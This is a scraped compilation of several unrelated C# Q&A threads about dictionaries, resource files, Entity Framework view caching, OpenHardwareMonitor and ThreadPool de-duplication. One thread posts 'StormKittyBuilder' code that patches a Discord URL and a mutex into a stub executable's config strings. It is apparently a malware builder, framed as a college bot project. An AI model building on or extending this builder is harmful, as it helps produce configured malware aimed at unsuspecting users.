Sounds pretty trivial but I really despair:
How do I import and match a value to a given key in an elegant fast way?
Just telephone area code - finding the matching prefix for a given zone (no multi-user). I have it as CSV but SQLite would be fine, too. SQLite connector? Or Dictionary? I don't know ...
Thank you in advance!
Nico
Simple as that. It's a console application.
Not pretty with the global creation and intialization but I didn't manage to do it across multiple source files by using only just a public class (type "Dictionary" and return this).
Main .cs file:
static class GlobalVar
{
public static Dictionary<string, string> areaCodesDict = new Dictionary<string, string>();
}
Second .cs file:
public class AreaCodes
{
public static void ParseCsv()
{
var path = ConfigurationManager.AppSettings["areaCodesCsv"];
using (var strReader = new StreamReader(path))
{
while (!strReader.EndOfStream)
{
var line = strReader.ReadLine();
if (line == null) { continue; }
var csv = line.Split(Convert.ToChar(ConfigurationManager.AppSettings["areaCodesCsvDelim"]));
// areaCodesDict.Add(key, value)
GlobalVar.areaCodesDict.Add(csv[0], csv[1]);
}
}
}
}
Example usage in Main.cs file again:
if (regexMatch.Success)
{
foreach (KeyValuePair<string, string> pair in GlobalVar.areaCodesDict)
{
if(destNumber.StartsWith(pair.Value))
{
destNumber = destNumber.Replace(pair.Value, pair.Key);
}
}
}
Related
`using Mono.Cecil; using Mono.Cecil.Cil;
using System; using System.Linq; using System.Collections.Generic;
namespace StormKittyBuilder {
internal sealed class build
{
private static Random random = new Random();
private static string RandomString(int length)
{
const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
return new string(Enumerable.Repeat(chars, length)
.Select(s => s[random.Next(s.Length)]).ToArray());
}
public static Dictionary<string, string> ConfigValues = new Dictionary<string, string>
{
{ "Discord url", "" },
{ "Mutex", RandomString(20) },
};
// Read stub
private static AssemblyDefinition ReadStub()
{
return AssemblyDefinition.ReadAssembly("stub\\stub.exe");
}
// Write stub
private static void WriteStub(AssemblyDefinition definition, string filename)
{
definition.Write(filename);
}
// Replace values in config
private static string ReplaceConfigParams(string value)
{
foreach (KeyValuePair<string, string> config in ConfigValues)
if (value.Equals($"--- {config.Key} ---"))
return config.Value;
return value;
}
// Проходим по всем классам, строкам и заменяем значения.
public static AssemblyDefinition IterValues(AssemblyDefinition definition)
{
foreach (ModuleDefinition definition2 in definition.Modules)
foreach (TypeDefinition definition3 in definition2.Types)
if (definition3.Name.Equals("Config"))
foreach (MethodDefinition definition4 in definition3.Methods)
if (definition4.IsConstructor && definition4.HasBody)
{
IEnumerator<Instruction> enumerator;
enumerator = definition4.Body.Instructions.GetEnumerator();
while (enumerator.MoveNext())
{
var current = enumerator.Current;
if (current.OpCode.Code == Code.Ldstr & current.Operand is object)
{
string str = current.Operand.ToString();
if (str.StartsWith("---") && str.EndsWith("---"))
current.Operand = ReplaceConfigParams(str);
}
}
}
return definition;
}
public static string BuildStub()
{
var definition = ReadStub();
definition = IterValues(definition);
WriteStub(definition, "bot\\build.exe");
return "bot\\build.exe";
}
} }`
Working on my college project (a discord bot), I want an .exe file
assume named as builder.exe, which can overwrite another .exe - assume named as base.exe - and we get a new .exe named output.exe.
I tried this BUILDER.EXE Github repo to overwrite my base.exe with help of builder.exe created from this repo no doubt it worked but the help I need from the master reading my problem is that I want to embed the base.exe into my builder.exe (to get a single exe file) which can read and over write base.exe and produce output.exe.
In short a single .exe file (embedded with base.exe) which read and overwrites a reference (base.exe) and produces output.exe as final result.
I can't get what's the problem. Please check my code's fragments. Each time when I add resource data, it clears last data and writes new records in .resx.
For example, Applications.resx has "MyApp1" key with "MyApp1Path" value. Next time if I add "MyApp2" key with "MyApp2Path" value, I notice that {"MyApp1", "MyApp1Path"} doesn't exist.
//Adding Application in Applications List
ResourceHelper.AddResource("Applications", _appName, _appPath);
Here is ResourceHelper class:
public class ResourceHelper
{
public static void AddResource(string resxFileName, string name, string value)
{
using (var resx = new ResXResourceWriter(String.Format(#".\Resources\{0}.resx", resxFileName)))
{
resx.AddResource(name, value);
}
}
}
Yes this is expected, ResXResourceWriter just adds nodes, it doesn't append.
However, you could just read the nodes out, and add them again
public static void AddResource(string resxFileName, string name, object value)
{
var fileName = $#".\Resources\{resxFileName}.resx";
using (var writer = new ResXResourceWriter(fileName))
{
if (File.Exists(fileName))
{
using (var reader = new ResXResourceReader(fileName))
{
var node = reader.GetEnumerator();
while (node.MoveNext())
{
writer.AddResource(node.Key.ToString(), node.Value);
}
}
}
writer.AddResource(name, value);
}
}
Disclaimer, untested and probably needs error checking
https://msdn.microsoft.com/en-us/data/dn469601.aspx
I am trying to get the strategy mentioned in the linked article implemented in my huge codebase with over 500 entities to improve performance. I am stuck with the following issue.
System.Data.Entity.Core.EntityCommandCompilationException occurred
HResult=0x8013193B Message=An error occurred while preparing the
command definition. See the inner exception for details.
Source= StackTrace:
Inner Exception 1: MappingException: The current model no longer
matches the model used to pre-generate the mapping views, as indicated
by the
ViewsForBaseEntitySets3193163ce55837363333438629c877839ae9e7b7494500b6fd275844cda6d343.MappingHashValue
property. Pre-generated mapping views must be either regenerated using
the current model or removed if mapping views generated at runtime
should be used instead. See
http://go.microsoft.com/fwlink/?LinkId=318050 for more information on
Entity Framework mapping views.
Here's what I have tried. There are a few gaps in the original article on how it needs to be implemented where I might have fallen prey.
Step 1: I have created a class that extends DBMappingViewCache.
public class EFDbMappingViewCache : DbMappingViewCache
{
protected static string _mappingHashValue = String.Empty;
public override string MappingHashValue
{
get
{
return GetCachedHashValue();
}
}
public override DbMappingView GetView(EntitySetBase extent)
{
Dictionary<string, string> dict = GetMappedViewFromCache();
if (extent == null)
{
throw new ArgumentNullException("extent");
}
if(dict.ContainsKey(extent.Name))
{
return new DbMappingView(dict[extent.Name]);
}
return null;
}
public static string GetCachedHashValue()
{
string cachedHash;
string path = HttpContext.Current.Server.MapPath(#"~\EFCache\MappingHashValue.txt");
if (!File.Exists(path))
{
File.Create(path).Dispose();
}
using (var streamReader = new StreamReader(path, Encoding.UTF8))
{
cachedHash = streamReader.ReadToEnd();
}
return cachedHash;
}
public static void UpdateHashInCache(string hashValue)
{
string path = HttpContext.Current.Server.MapPath(#"~\EFCache\MappingHashValue.txt");
using (var streamWriter = new StreamWriter(path, false))
{
streamWriter.Write(hashValue);
}
}
private static void UpdateMappedViewInCache(Dictionary<EntitySetBase, DbMappingView> dict)
{
string path = HttpContext.Current.Server.MapPath(#"~\EFCache\MappingView.json");
Dictionary<String, String> stringDict = new Dictionary<string, string>();
foreach(var entry in dict)
{
stringDict[entry.Key.Name] = entry.Value.EntitySql.ToString();
}
var json = new JavaScriptSerializer().Serialize(stringDict);
using (var streamWriter = new StreamWriter(path, false))
{
streamWriter.Write(json);
}
}
private static Dictionary<String, string> GetMappedViewFromCache()
{
string path = HttpContext.Current.Server.MapPath(#"~\EFCache\MappingView.json");
var json = String.Empty;
using (var streamReader = new StreamReader(path, Encoding.UTF8))
{
json = streamReader.ReadToEnd();
}
Dictionary<String, string> mappedViewDict = new Dictionary<String, string>();
if (!String.IsNullOrEmpty(json))
{
var ser = new System.Web.Script.Serialization.JavaScriptSerializer();
mappedViewDict = ser.Deserialize<Dictionary<String, string>>(json);
}
return mappedViewDict;
}
public static void CheckAndUpdateEFViewCache()
{
using (var ctx = new CascadeTranscationsDbContext(DBHelper.GetConnString()))
{
var objectContext = ((IObjectContextAdapter)ctx).ObjectContext;
var mappingCollection = (StorageMappingItemCollection)objectContext.MetadataWorkspace
.GetItemCollection(DataSpace.CSSpace);
string computedHashValue = mappingCollection.ComputeMappingHashValue();
string currentHashValue = GetCachedHashValue();
SetHashValue(computedHashValue);
if (computedHashValue != currentHashValue)
{
UpdateHashInCache(computedHashValue);
IList<EdmSchemaError> errors = new List<EdmSchemaError>();
Dictionary<EntitySetBase, DbMappingView> result = mappingCollection.GenerateViews(errors);
UpdateMappedViewInCache(result);
}
}
}
}
I have stored the hashvalue and mapping generated in a file and retrieved it in GetView() method.
I have exposed a public CheckAndUpdateEFViewCache() method which will generate the view mapping when called and store in file.
Step2: Call the CheckAndUpdateEFViewCache() from Global.asax file Application_Start() method.
Step3: Include assembly in the file where context is first called.
[assembly: DbMappingViewCacheType(typeof(Models.Entities.MyDBContext), typeof(EFDbMappingViewCache))]
I am really not sure where this assembly line actually needs to go. There is no information on it in the link. There is a really good chance that Step3 might be where i have gone wrong.
Can someone help with the problem ?
The issue I had faced was because I already had a mapped file generated using EF Tools and it was registered. When the configuration I wrote attempted to register one more time, EF threw an error.
Further I want to add that Cached DB model store improved the performance several folds and I ended up using just that in my project.
Link to Cached DB model store usage
I'm trying to use OpenHardwareMonitor to get a reading on the diagnostics of my hardware. If you've ever tried using OHM you know that there is very little documentation on it yet to my knowledge there is no other open source library that is as accurate and robust.
I've been able to get load and clock speed from the CPU but not the temperature.
I also don't receive any information about the hard drive (temp concerns me most).
Here's my implementation, it should return everything it has but so far I only get limited information about the RAM (no temp), CPU (no temp) and the GPU.
CPU Temperature is my most important stat to track.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;
using OpenHardwareMonitor.Hardware;
namespace OHMWrapper
{
public class MySettings : ISettings
{
private IDictionary<string, string> settings = new Dictionary<string, string>();
public MySettings(IDictionary<string, string> settings)
{
this.settings = settings;
}
public bool Contains(string name)
{
return settings.ContainsKey(name);
}
public string GetValue(string name, string value)
{
string result;
if (settings.TryGetValue(name, out result))
return result;
else
return value;
}
public void Remove(string name)
{
settings.Remove(name);
}
public void SetValue(string name, string value)
{
settings[name] = value;
}
}
public class OHW
{
private static OHW m_Instance;
public static OHW Instance
{
get
{
if (m_Instance == null)
m_Instance = new OHW();
return m_Instance;
}
}
private OHW()
{
m_Instance = this;
}
public void GetCPUTemp()
{
MySettings settings = new MySettings(new Dictionary<string, string>
{
{ "/intelcpu/0/temperature/0/values", "H4sIAAAAAAAEAOy9B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVdZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/Iu6//MH37x79i9/+NX6N3/TJm9/5f/01fw1+fosnv+A/+OlfS37/jZ/s/Lpv9fff6Ml/NTef/yZPnozc5679b+i193//TQZ+/w2Dd+P9/sZeX/67v/GTf/b3iP3u4/ObBL//73+i+f039+D8Zk/+xz/e/P6beu2TQZju8yH8f6OgzcvPv/U3/Rb8+z/0f/9b/+yfaOn8079X6fr6Cws7ln/iHzNwflPv99/wyS/+xY4+v/evcJ+733+jJ5//Cw7/4ndy9Im3+U2e/Fbnrk31C93vrt/fyPvdb+N//hsF7/4/AQAA//9NLZZ8WAIAAA==" },
{ "/intelcpu/0/load/0/values", "H4sIAAAAAAAEAOy9B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVdZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/Iu6//MH37x79i9++mpwcv/md/9df89egZ/xX/ym/5y/4D37618Lv7ya//u+58+u+5d9/z7/5t/w9/6u5fP5bH/6av+eTkXyefXxp26ONaf/v/dG/sf39D/rvnv4e5vc/0IP56/waK/vuHzf5I38P8/tv+mv8Rbb9f0pwTF9/zr/1X9vP/8I//+/6Pf7Z30N+/zdf/HX29zd/859q4aCNP5b//U+U3/+7f+zXOjZwfqvDX/V7/o9/vPz+a1G/pv0f+fGlhfk7eZ//N3/0v28//5X0u/n8Cxq7+f1X/tHft20A5x8a/W5/02+BP36Nf+j/nv8XfzrT+c2//Ob4p3+vktvUhNs/+xcWikP6e/4T/5jS5M8/sL8vP/5ff49f/Ivl9//sHzv6PX/vXyG//9R/94/9HuZ34P/5vyC//3W/5e/1exa/k+Bw4bUBnU2bP4Xg/1bn0uafeTH6PatfKL//N3/0t2y/gG9+/8+IzqYNxmU+/+jwX7afY67/nwAAAP//GYSA31gCAAA=" },
});
Computer myComputer = new Computer(settings)
{
MainboardEnabled = true,
CPUEnabled = true,
RAMEnabled = true,
GPUEnabled = true,
FanControllerEnabled = true,
HDDEnabled = true
};
myComputer.Open();
foreach (var hardwareItem in myComputer.Hardware)
{
hardwareItem.Update();
if (hardwareItem.SubHardware.Length > 0)
{
foreach (IHardware subHardware in hardwareItem.SubHardware)
{
subHardware.Update();
foreach (var sensor in subHardware.Sensors)
{
Console.WriteLine(String.Format("{0} {1} = {2}", sensor.Name, sensor.Hardware, sensor.Value.HasValue ? sensor.Value.Value.ToString() : "no value"));
}
}
}
else
{
foreach (var sensor in hardwareItem.Sensors)
{
Console.WriteLine(String.Format("{0} {1} = {2}", sensor.Identifier, sensor.Hardware, sensor.Value.HasValue ? sensor.Value.Value.ToString() : "no value"));
}
}
}
}
}
}
I've been looking at the source code since it's the only way to get any info on it. It's been a slow process but I'd really appreciate any help.
OpenHardwareMonitor Source Code: http://code.google.com/p/open-hardware-monitor/source/browse/
I had to run this code with administrative priviledges to get all the information I wanted. I added a manifest file that requires the code to run with those. Thank you for all your helpful posts.
I also got stuck with this and I just wanted to share my experiences...
So running this with administrative priviledges is mandantory. Nevertheless it still may not work when running from a networkshare.
The Settings stuff (MySettings) and the cpu strings are not necessary...
I just used
myComputer = new Computer() { CPUEnabled = true };
That's all ;)
Cheers, Stephan
I have a windows service that runs a method when the services main Timer elapses (OnElapse).
The OnElapse method gets a list of .xml files to process.
Each xml file is inserted into a ThreadPool.
I want to make sure I don't insert 2 XML's with the same name into the ThreadPool.
How can I manage which items are in the ThreadPool? I basically want to do this:
if xmlfilename not in threadpool
insert in threadpool
This is pretty trick because you need to closely monitor the ThreadPool and it will require a form of synchronization. Here's a quick and dirty example of a way to do this.
class XmlManager {
private object m_lock = new object();
private HashSet<string> m_inPool = new HashSet<string>();
private void Run(object state) {
string name = (string)state;
try {
FunctionThatActuallyProcessesFiles(name);
} finally {
lock ( m_lock ) { m_inPool.Remove(name); }
}
}
public void MaybeRun(string xmlName) {
lock ( m_lock ) {
if (!m_pool.Add(xmlName)) {
return;
}
}
ThreadPool.QueueUserWorkItem(Run, xmlName);
}
}
This is not a foolproof solution. There is at least one race condition in the code. Namely that an item could be being removed from the pool while you're trying to add it back in and it won't actually get added. But if your are only concerned with them being processed a single time, this doesn't matter.
Something like this should do it (use a HashSet instead of a Dictionary if you are using .Net 3.5 or higher):
using System;
using System.Collections.Generic;
using System.Threading;
namespace Something
{
class ProcessFilesClass
{
private object m_Lock = new object();
private Dictionary<string, object> m_WorkingItems =
new Dictionary<string, object>();
private Timer m_Timer;
public ProcessFilesClass()
{
m_Timer = new Timer(OnElapsed, null, 0, 10000);
}
public void OnElapsed(object context)
{
List<string> xmlList = new List<string>();
//Process xml files into xmlList
foreach (string xmlFile in xmlList)
{
lock (m_Lock)
{
if (!m_WorkingItems.ContainsKey(xmlFile))
{
m_WorkingItems.Add(xmlFile, null);
ThreadPool.QueueUserWorkItem(DoWork, xmlFile);
}
}
}
}
public void DoWork(object xmlFile)
{
//process xmlFile
lock (m_Lock)
{
m_WorkingItems.Remove(xmlFile.ToString());
}
}
}
}
OnElaspe can't you rename the xml file ? so it has a unqiue name on the threadpool.
Couldn't you make a dictionary> and check that before you do the insertion? Something like this...
Dictionary<ThreadPool, List<String>> poolXmlFiles = new Dictionary<ThreadPool, List<String>>();
if(poolXmlFiles.ContainsKey(ThreadPool) && !poolXmlFiles[ThreadPool].Contains(xmlFileName))
{
poolXmlFiles[ThreadPool].Add(xmlFileName);
//Add the xmlFile to the ThreadPool
}
Sorry if there are syntax errors, I'm coding in VB these days.